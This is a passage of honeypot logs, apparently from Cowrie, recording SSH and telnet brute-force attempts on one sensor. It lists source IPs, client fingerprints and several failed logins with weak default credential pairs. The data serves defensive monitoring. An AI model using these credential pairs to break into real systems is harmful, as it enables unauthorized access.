openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:47.519306Z","src_ip":"176.65.139.95","session":"5c1d3078573e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lenovo","password":"lenovo","message":"login attempt [lenovo/lenovo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:48.083694Z","src_ip":"176.65.139.95","session":"5c1d3078573e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44366,"dst_ip":"159.203.135.109","dst_port":22,"session":"13c1cb88f9d6","protocol":"ssh","message":"New connection: 192.109.200.78:44366 (159.203.135.109:22) [session: 13c1cb88f9d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:48.509864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:48.517005Z","src_ip":"192.109.200.78","session":"13c1cb88f9d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:48.593372Z","src_ip":"192.109.200.78","session":"13c1cb88f9d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vm","password":"vm","message":"login attempt [vm/vm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:48.928794Z","src_ip":"192.109.200.78","session":"13c1cb88f9d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:49.179017Z","src_ip":"176.65.139.95","session":"5c1d3078573e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:50.356625Z","src_ip":"192.109.200.78","session":"13c1cb88f9d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44382,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ef699eb84be","protocol":"ssh","message":"New connection: 192.109.200.78:44382 (159.203.135.109:22) [session: 2ef699eb84be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:52.906312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:52.912812Z","src_ip":"192.109.200.78","session":"2ef699eb84be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:52.989692Z","src_ip":"192.109.200.78","session":"2ef699eb84be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.70.188.116","src_port":43830,"dst_ip":"159.203.135.109","dst_port":23,"session":"26a631da198e","protocol":"telnet","message":"New connection: 217.70.188.116:43830 (159.203.135.109:23) [session: 26a631da198e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:53.110368Z"}
{"eventid":"cowrie.login.failed","username":"amit","password":"amit","message":"login attempt [amit/amit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:53.308605Z","src_ip":"192.109.200.78","session":"2ef699eb84be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":60296,"dst_ip":"159.203.135.109","dst_port":22,"session":"6846ed521f8d","protocol":"ssh","message":"New connection: 176.65.139.95:60296 (159.203.135.109:22) [session: 6846ed521f8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:54.272637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:54.277153Z","src_ip":"176.65.139.95","session":"6846ed521f8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:54.364494Z","src_ip":"176.65.139.95","session":"6846ed521f8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:54.394813Z","src_ip":"192.109.200.78","session":"2ef699eb84be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser","message":"login attempt [testuser/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:54.850799Z","src_ip":"176.65.139.95","session":"6846ed521f8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:55.968013Z","src_ip":"176.65.139.95","session":"6846ed521f8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44396,"dst_ip":"159.203.135.109","dst_port":22,"session":"fff42f6aa5f6","protocol":"ssh","message":"New connection: 192.109.200.78:44396 (159.203.135.109:22) [session: fff42f6aa5f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:56.920536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:56.926109Z","src_ip":"192.109.200.78","session":"fff42f6aa5f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:57.015124Z","src_ip":"192.109.200.78","session":"fff42f6aa5f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"centos","message":"login attempt [centos/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:57.267201Z","src_ip":"192.109.200.78","session":"fff42f6aa5f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:58.353050Z","src_ip":"192.109.200.78","session":"fff42f6aa5f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.853727340698242,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:59.068832Z","src_ip":"62.113.202.175","session":"fdbcdfbb54cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":60948,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca110dc01320","protocol":"ssh","message":"New connection: 176.65.139.95:60948 (159.203.135.109:22) [session: ca110dc01320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:00.612706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:00.617420Z","src_ip":"176.65.139.95","session":"ca110dc01320","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:00.704841Z","src_ip":"176.65.139.95","session":"ca110dc01320","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38244,"dst_ip":"159.203.135.109","dst_port":22,"session":"07ab6686d6fc","protocol":"ssh","message":"New connection: 192.109.200.78:38244 (159.203.135.109:22) [session: 07ab6686d6fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:01.033408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:01.039120Z","src_ip":"192.109.200.78","session":"07ab6686d6fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:01.135323Z","src_ip":"192.109.200.78","session":"07ab6686d6fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gbase","password":"gbase","message":"login attempt [gbase/gbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:01.223944Z","src_ip":"176.65.139.95","session":"ca110dc01320","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"123456","message":"login attempt [administrator/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:01.390244Z","src_ip":"192.109.200.78","session":"07ab6686d6fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:02.313064Z","src_ip":"176.65.139.95","session":"ca110dc01320","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:02.525056Z","src_ip":"192.109.200.78","session":"07ab6686d6fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38284,"dst_ip":"159.203.135.109","dst_port":22,"session":"adaf4e7ce497","protocol":"ssh","message":"New connection: 192.109.200.78:38284 (159.203.135.109:22) [session: adaf4e7ce497]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:05.307698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:05.312763Z","src_ip":"192.109.200.78","session":"adaf4e7ce497","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:05.395394Z","src_ip":"192.109.200.78","session":"adaf4e7ce497","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts","password":"ts","message":"login attempt [ts/ts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:05.644682Z","src_ip":"192.109.200.78","session":"adaf4e7ce497","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.70.188.116","src_port":44318,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d0eebf872b9","protocol":"telnet","message":"New connection: 217.70.188.116:44318 (159.203.135.109:23) [session: 0d0eebf872b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:06.074697Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:06.729508Z","src_ip":"192.109.200.78","session":"adaf4e7ce497","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":60958,"dst_ip":"159.203.135.109","dst_port":22,"session":"2459933f7d91","protocol":"ssh","message":"New connection: 176.65.139.95:60958 (159.203.135.109:22) [session: 2459933f7d91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:07.202369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:07.208597Z","src_ip":"176.65.139.95","session":"2459933f7d91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:07.286711Z","src_ip":"176.65.139.95","session":"2459933f7d91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"parsa","password":"parsa","message":"login attempt [parsa/parsa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:07.665115Z","src_ip":"176.65.139.95","session":"2459933f7d91","protocol":"ssh"}
